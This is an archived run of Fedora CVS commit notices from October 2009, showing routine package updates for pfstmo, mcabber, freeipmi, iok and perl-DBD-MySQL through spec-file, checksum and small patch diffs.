+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From drepper at fedoraproject.org  Mon Oct 26 07:48:10 2009
From: drepper at fedoraproject.org (Ulrich Drepper)
Date: Mon, 26 Oct 2009 07:48:10 +0000 (UTC)
Subject: rpms/pfstmo/devel pfstmo-1.4-auto_ptr.patch, NONE, 1.1 .cvsignore,
	1.2, 1.3 pfstmo-1.3.2-zd.patch, 1.1, 1.2 pfstmo.spec, 1.6,
	1.7 sources, 1.2, 1.3
Message-ID: <20091026074811.08F7E11C0268@cvs1.fedora.phx.redhat.com>

Author: drepper

Update of /cvs/pkgs/rpms/pfstmo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24389

Modified Files:
	.cvsignore pfstmo-1.3.2-zd.patch pfstmo.spec sources 
Added Files:
	pfstmo-1.4-auto_ptr.patch 
Log Message:
New upstream release 1.4.


pfstmo-1.4-auto_ptr.patch:
 display_adaptive_tmo.h |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE pfstmo-1.4-auto_ptr.patch ---
--- pfstmo-1.4/src/mantiuk08/display_adaptive_tmo.h-s	2009-10-26 00:42:43.246689347 -0700
+++ pfstmo-1.4/src/mantiuk08/display_adaptive_tmo.h	2009-10-26 00:43:29.517453268 -0700
@@ -33,6 +33,7 @@
 #include "display_size.h"
 
 #include "pfstmo.h"
+#include <backward/auto_ptr.h>
 
 class datmoToneCurve
 {


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pfstmo/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 Jan 2009 06:28:45 -0000	1.2
+++ .cvsignore	26 Oct 2009 07:48:08 -0000	1.3
@@ -1 +1 @@
-pfstmo-1.3.2.tar.gz
+pfstmo-1.4.tar.gz

pfstmo-1.3.2-zd.patch:
 cqp/mg_pdip.c            |   12 ++++++------
 display_adaptive_tmo.cpp |    2 +-
 pfstmo_mantiuk08.cpp     |    6 +++---
 3 files changed, 10 insertions(+), 10 deletions(-)

Index: pfstmo-1.3.2-zd.patch
===================================================================
RCS file: /cvs/pkgs/rpms/pfstmo/devel/pfstmo-1.3.2-zd.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pfstmo-1.3.2-zd.patch	9 Jan 2009 06:28:45 -0000	1.1
+++ pfstmo-1.3.2-zd.patch	26 Oct 2009 07:48:08 -0000	1.2
@@ -51,7 +51,7 @@ diff -up pfstmo-1.3.2/src/mantiuk08/cqp/
 diff -up pfstmo-1.3.2/src/mantiuk08/display_adaptive_tmo.cpp.zd pfstmo-1.3.2/src/mantiuk08/display_adaptive_tmo.cpp
 --- pfstmo-1.3.2/src/mantiuk08/display_adaptive_tmo.cpp.zd	2009-01-06 11:20:13.000000000 -0800
 +++ pfstmo-1.3.2/src/mantiuk08/display_adaptive_tmo.cpp	2009-01-06 11:20:41.000000000 -0800
-@@ -537,7 +537,7 @@ int solve( gsl_matrix *Q, gsl_vector *q,
+@@ -586,7 +586,7 @@ int solve( gsl_matrix *Q, gsl_vector *q,
      status = gsl_cqpminimizer_iterate(s);
      status = gsl_cqpminimizer_test_convergence(s, 1e-10, 1e-10);
  		  
@@ -72,7 +72,7 @@ diff -up pfstmo-1.3.2/src/mantiuk08/pfst
      else {
        int len = strlen( file_name );
        if( len > FRAME_NAME_MAX ) // In case file name is too long
-@@ -281,7 +281,7 @@ void tmo_mantiuk08(int argc, char * argv
+@@ -279,7 +279,7 @@ void tmo_mantiuk08(int argc, char * argv
        if( temporal_filter == 1 ) {
          // First pass of the temporal filter - store tone-curves, do not tone-map
          
@@ -81,7 +81,7 @@ diff -up pfstmo-1.3.2/src/mantiuk08/pfst
          for( int i=0; i < tc.size; i++ )
            fprintf( tp_FH, "%g,%g\n", tc.x_i[i], tc.y_i[i] );
  
-@@ -297,7 +297,7 @@ void tmo_mantiuk08(int argc, char * argv
+@@ -295,7 +295,7 @@ void tmo_mantiuk08(int argc, char * argv
  
          if( tc_FH != NULL ) {
            for( int i=0; i < tc.size; i++ )


Index: pfstmo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pfstmo/devel/pfstmo.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pfstmo.spec	26 Jul 2009 17:52:49 -0000	1.6
+++ pfstmo.spec	26 Oct 2009 07:48:09 -0000	1.7
@@ -1,6 +1,6 @@
 Name:		pfstmo
-Version:	1.3.2
-Release:	7%{?dist}
+Version:	1.4
+Release:	1%{?dist}
 Summary:	PFS tone mapping operators
 
 Group:		Applications/Multimedia
@@ -9,6 +9,7 @@ URL:		http://pfstools.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/pfstools/%{name}-%{version}.tar.gz
 Patch1:		pfstmo-1.3.2-zd.patch
 Patch2:		pfstmo-CXXFLAGS.patch
+Patch3:		pfstmo-1.4-auto_ptr.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	libtool
@@ -28,6 +29,7 @@ images and animations. 
 
 %patch1 -p1 -b .zd
 %patch2 -p1 -b .cxxflags
+%patch3 -p1 -b .auto_ptr
 
 autoreconf
 libtoolize --automake
@@ -69,6 +71,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 26 2009 Ulrich Drepper <drepper at redhat.com> - 1.4-1
+- Update to upstream release 1.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pfstmo/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Jan 2009 06:28:47 -0000	1.2
+++ sources	26 Oct 2009 07:48:09 -0000	1.3
@@ -1 +1 @@
-cd51b176ba228051304a8676861b6d0c  pfstmo-1.3.2.tar.gz
+90409a9adda70f59001c04cafcdab8d6  pfstmo-1.4.tar.gz



From mfleming at fedoraproject.org  Mon Oct 26 08:47:37 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 08:47:37 +0000 (UTC)
Subject: rpms/mcabber/EL-5 .cvsignore, 1.3, 1.4 mcabber.spec, 1.2,
	1.3 sources, 1.3, 1.4
Message-ID: <20091026084737.B8C0111C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3484

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Feb 2009 11:29:35 -0000	1.3
+++ .cvsignore	26 Oct 2009 08:47:36 -0000	1.4
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-5/mcabber.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mcabber.spec	3 Feb 2009 11:29:35 -0000	1.2
+++ mcabber.spec	26 Oct 2009 08:47:36 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           mcabber
-Version:        0.9.9
+Version:        0.9.10
 Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Sun Oct 12 2008 Michael Fleming <mfleming+rpm at enlartenment.com> - 0.9.9-1
 - Upgrade to 0.9.9
 - Revert to using OpenSSL (#bz 389481)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Feb 2009 11:29:35 -0000	1.3
+++ sources	26 Oct 2009 08:47:36 -0000	1.4
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From mfleming at fedoraproject.org  Mon Oct 26 08:50:53 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Mon, 26 Oct 2009 08:50:53 +0000 (UTC)
Subject: rpms/mcabber/EL-4 .cvsignore, 1.3, 1.4 mcabber.spec, 1.2,
	1.3 sources, 1.3, 1.4
Message-ID: <20091026085053.5778311C0268@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3916

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-4/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Feb 2009 11:27:55 -0000	1.3
+++ .cvsignore	26 Oct 2009 08:50:53 -0000	1.4
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-4/mcabber.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mcabber.spec	3 Feb 2009 11:27:55 -0000	1.2
+++ mcabber.spec	26 Oct 2009 08:50:53 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           mcabber
-Version:        0.9.9
+Version:        0.9.10
 Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Sun Oct 12 2008 Michael Fleming <mfleming+rpm at enlartenment.com> - 0.9.9-1
 - Upgrade to 0.9.9
 - Revert to using OpenSSL (#bz 389481)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/EL-4/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Feb 2009 11:27:55 -0000	1.3
+++ sources	26 Oct 2009 08:50:53 -0000	1.4
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From jsafrane at fedoraproject.org  Mon Oct 26 08:56:49 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Mon, 26 Oct 2009 08:56:49 +0000 (UTC)
Subject: rpms/freeipmi/devel .cvsignore, 1.13, 1.14 freeipmi.spec, 1.26,
	1.27 sources, 1.13, 1.14
Message-ID: <20091026085649.6343B11C0268@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/freeipmi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4702

Modified Files:
	.cvsignore freeipmi.spec sources 
Log Message:
Update to freeipmi-0.7.14


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	2 Oct 2009 08:35:39 -0000	1.13
+++ .cvsignore	26 Oct 2009 08:56:49 -0000	1.14
@@ -1 +1 @@
-freeipmi-0.7.13.tar.gz
+freeipmi-0.7.14.tar.gz


Index: freeipmi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/freeipmi.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- freeipmi.spec	5 Oct 2009 10:56:52 -0000	1.26
+++ freeipmi.spec	26 Oct 2009 08:56:49 -0000	1.27
@@ -2,10 +2,10 @@
 # Copyright (c) 2003 FreeIPMI Core Team
 #
 
-Release: 2%{?dist}
+Release: 1%{?dist}
 
 Name: freeipmi
-Version: 0.7.13
+Version: 0.7.14
 License: GPLv2+
 Group: Applications/System
 URL: http://www.gnu.org/software/freeipmi/
@@ -293,6 +293,9 @@ fi
 %{_mandir}/man8/ipmidetectd.8*
 
 %changelog
+* Mon Oct 26 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.14-1
+- Update to freeipmi-0.7.14
+
 * Mon Oct  5 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.13-2
 - Fix package source URL
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	2 Oct 2009 08:35:39 -0000	1.13
+++ sources	26 Oct 2009 08:56:49 -0000	1.14
@@ -1 +1 @@
-759afab1b3946cb858d7e59659b5ca40  freeipmi-0.7.13.tar.gz
+591496e9906a876408983c6e47abfe1f  freeipmi-0.7.14.tar.gz



From pnemade at fedoraproject.org  Mon Oct 26 09:10:25 2009
From: pnemade at fedoraproject.org (pnemade)
Date: Mon, 26 Oct 2009 09:10:25 +0000 (UTC)
Subject: rpms/iok/F-12 .cvsignore, 1.13, 1.14 iok.spec, 1.15, 1.16 sources, 
	1.13, 1.14
Message-ID: <20091026091025.55A0E11C02C6@cvs1.fedora.phx.redhat.com>

Author: pnemade

Update of /cvs/pkgs/rpms/iok/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8211

Modified Files:
	.cvsignore iok.spec sources 
Log Message:
* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
- Update to Next release 1.3.8




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iok/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	11 Sep 2009 10:29:13 -0000	1.13
+++ .cvsignore	26 Oct 2009 09:10:24 -0000	1.14
@@ -1 +1 @@
-iok-1.3.7.tar.gz
+iok-1.3.8.tar.gz


Index: iok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iok/F-12/iok.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- iok.spec	11 Sep 2009 10:29:13 -0000	1.15
+++ iok.spec	26 Oct 2009 09:10:24 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           iok
-Version:        1.3.7
+Version:        1.3.8
 Release:        1%{?dist}
 Summary:        Indic Onscreen Virtual Keyboard
 Group:          Applications/System
@@ -9,13 +9,13 @@ Source0:        https://fedorahosted.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  desktop-file-utils libXtst-devel
 BuildRequires:  gtk2-devel gettext libxml2-devel
-BuildRequires:  intltool
-Requires: 	xkeyboard-config 
+BuildRequires:  intltool unique-devel
+Requires:  xkeyboard-config 
 
 %description
 iok is Indic Onscreen Keyboard. It provides virtual Keyboard functionality. 
-It currently works with Inscript keymaps for Indian languages. iok can even try 
-to parse non-inscript keymaps and show them in iok.
+It currently works with Inscript and xkb keymaps for Indian languages. iok
+can even try to parse non-inscript keymaps and show them in iok.
 
 %prep
 %setup -q
@@ -49,6 +49,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
+- Update to Next release 1.3.8
+
 * Fri Sep 11 2009 Parag Nemade <panemade at gmail.com>- 1.3.7-1
 - Update to Next release 1.3.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iok/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	11 Sep 2009 10:29:13 -0000	1.13
+++ sources	26 Oct 2009 09:10:24 -0000	1.14
@@ -1 +1 @@
-ec37ab7dc2a22b7ddc93dba0077f43cc  iok-1.3.7.tar.gz
+3820ed6371b84c34ce7eb341ba69542a  iok-1.3.8.tar.gz



From pnemade at fedoraproject.org  Mon Oct 26 09:11:14 2009
From: pnemade at fedoraproject.org (pnemade)
Date: Mon, 26 Oct 2009 09:11:14 +0000 (UTC)
Subject: rpms/iok/devel iok.spec,1.15,1.16 sources,1.13,1.14
Message-ID: <20091026091114.0FC6911C0268@cvs1.fedora.phx.redhat.com>

Author: pnemade

Update of /cvs/pkgs/rpms/iok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8414

Modified Files:
	iok.spec sources 
Log Message:
* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
- Update to Next release 1.3.8




Index: iok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iok/devel/iok.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- iok.spec	11 Sep 2009 10:29:13 -0000	1.15
+++ iok.spec	26 Oct 2009 09:11:13 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           iok
-Version:        1.3.7
+Version:        1.3.8
 Release:        1%{?dist}
 Summary:        Indic Onscreen Virtual Keyboard
 Group:          Applications/System
@@ -9,13 +9,13 @@ Source0:        https://fedorahosted.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  desktop-file-utils libXtst-devel
 BuildRequires:  gtk2-devel gettext libxml2-devel
-BuildRequires:  intltool
-Requires: 	xkeyboard-config 
+BuildRequires:  intltool unique-devel
+Requires:  xkeyboard-config 
 
 %description
 iok is Indic Onscreen Keyboard. It provides virtual Keyboard functionality. 
-It currently works with Inscript keymaps for Indian languages. iok can even try 
-to parse non-inscript keymaps and show them in iok.
+It currently works with Inscript and xkb keymaps for Indian languages. iok
+can even try to parse non-inscript keymaps and show them in iok.
 
 %prep
 %setup -q
@@ -49,6 +49,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
+- Update to Next release 1.3.8
+
 * Fri Sep 11 2009 Parag Nemade <panemade at gmail.com>- 1.3.7-1
 - Update to Next release 1.3.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iok/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	11 Sep 2009 10:29:13 -0000	1.13
+++ sources	26 Oct 2009 09:11:13 -0000	1.14
@@ -1 +1 @@
-ec37ab7dc2a22b7ddc93dba0077f43cc  iok-1.3.7.tar.gz
+3820ed6371b84c34ce7eb341ba69542a  iok-1.3.8.tar.gz



From kasal at fedoraproject.org  Mon Oct 26 09:47:45 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 09:47:45 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/devel perl-DBD-MySQL.spec,1.47,1.48
Message-ID: <20091026094745.4D2A911C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16252

Modified Files:
	perl-DBD-MySQL.spec 
Log Message:
- new upstream version


Index: perl-DBD-MySQL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/devel/perl-DBD-MySQL.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- perl-DBD-MySQL.spec	21 Aug 2009 15:21:01 -0000	1.47
+++ perl-DBD-MySQL.spec	26 Oct 2009 09:47:45 -0000	1.48
@@ -1,6 +1,6 @@
 Name:           perl-DBD-MySQL
-Version:        4.011
-Release:        3%{?dist}
+Version:        4.013
+Release:        1%{?dist}
 Summary:        A MySQL interface for perl
 
 Group:          Development/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-1
+- new upstream version
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 4.011-3
 - rebuilt with new openssl
 



From kasal at fedoraproject.org  Mon Oct 26 09:58:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 09:58:56 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/devel .cvsignore,1.20,1.21 sources,1.20,1.21
Message-ID: <20091026095856.31EA411C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18349

Modified Files:
	.cvsignore sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	10 Jun 2009 14:57:35 -0000	1.20
+++ .cvsignore	26 Oct 2009 09:58:55 -0000	1.21
@@ -1 +1 @@
-DBD-mysql-4.011.tar.gz
+DBD-mysql-4.013.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	10 Jun 2009 14:57:35 -0000	1.20
+++ sources	26 Oct 2009 09:58:56 -0000	1.21
@@ -1 +1 @@
-47c8d22282dfd0bcce7754c9d24e55fd  DBD-mysql-4.011.tar.gz
+0b28c245eb4cc49d5071db91bd8819b1  DBD-mysql-4.013.tar.gz



From kasal at fedoraproject.org  Mon Oct 26 10:08:37 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:08:37 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/F-12 .cvsignore, 1.20, 1.21 perl-DBD-MySQL.spec,
	1.47, 1.48 sources, 1.20, 1.21
Message-ID: <20091026100837.681C611C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20878

Modified Files:
	.cvsignore perl-DBD-MySQL.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	10 Jun 2009 14:57:35 -0000	1.20
+++ .cvsignore	26 Oct 2009 10:08:37 -0000	1.21
@@ -1 +1 @@
-DBD-mysql-4.011.tar.gz
+DBD-mysql-4.013.tar.gz


Index: perl-DBD-MySQL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/F-12/perl-DBD-MySQL.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- perl-DBD-MySQL.spec	21 Aug 2009 15:21:01 -0000	1.47
+++ perl-DBD-MySQL.spec	26 Oct 2009 10:08:37 -0000	1.48
@@ -1,6 +1,6 @@
 Name:           perl-DBD-MySQL
-Version:        4.011
-Release:        3%{?dist}
+Version:        4.013
+Release:        1%{?dist}
 Summary:        A MySQL interface for perl
 
 Group:          Development/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-1
+- new upstream version
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 4.011-3
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	10 Jun 2009 14:57:35 -0000	1.20
+++ sources	26 Oct 2009 10:08:37 -0000	1.21
@@ -1 +1 @@
-47c8d22282dfd0bcce7754c9d24e55fd  DBD-mysql-4.011.tar.gz
+0b28c245eb4cc49d5071db91bd8819b1  DBD-mysql-4.013.tar.gz



From kasal at fedoraproject.org  Mon Oct 26 10:11:01 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:11:01 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/devel perl-DBD-MySQL.spec,1.48,1.49
Message-ID: <20091026101101.8A62511C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21373

Modified Files:
	perl-DBD-MySQL.spec 
Log Message:
bump release


Index: perl-DBD-MySQL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/devel/perl-DBD-MySQL.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- perl-DBD-MySQL.spec	26 Oct 2009 09:47:45 -0000	1.48
+++ perl-DBD-MySQL.spec	26 Oct 2009 10:11:01 -0000	1.49
@@ -64,7 +64,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-1
+* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-2
 - new upstream version
 
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 4.011-3



From kasal at fedoraproject.org  Mon Oct 26 10:11:53 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:11:53 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/F-12 perl-DBD-MySQL.spec,1.48,1.49
Message-ID: <20091026101153.DDBD911C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21587

Modified Files:
	perl-DBD-MySQL.spec 
Log Message:
bump release


Index: perl-DBD-MySQL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-DBD-MySQL/F-12/perl-DBD-MySQL.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- perl-DBD-MySQL.spec	26 Oct 2009 10:08:37 -0000	1.48
+++ perl-DBD-MySQL.spec	26 Oct 2009 10:11:53 -0000	1.49
@@ -64,7 +64,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-1
+* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 4.013-2
 - new upstream version
 
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 4.011-3



From kasal at fedoraproject.org  Mon Oct 26 10:12:19 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 10:12:19 +0000 (UTC)
Subject: rpms/perl-DBD-MySQL/F-12 perl-DBD-MySQL.spec,1.49,1.50
Message-ID: <20091026101219.EF5F211C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-DBD-MySQL/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21688

Modified Files:
	perl-DBD-MySQL.spec 
Log Message:
bump release


Index: perl-DBD-MySQL.spec
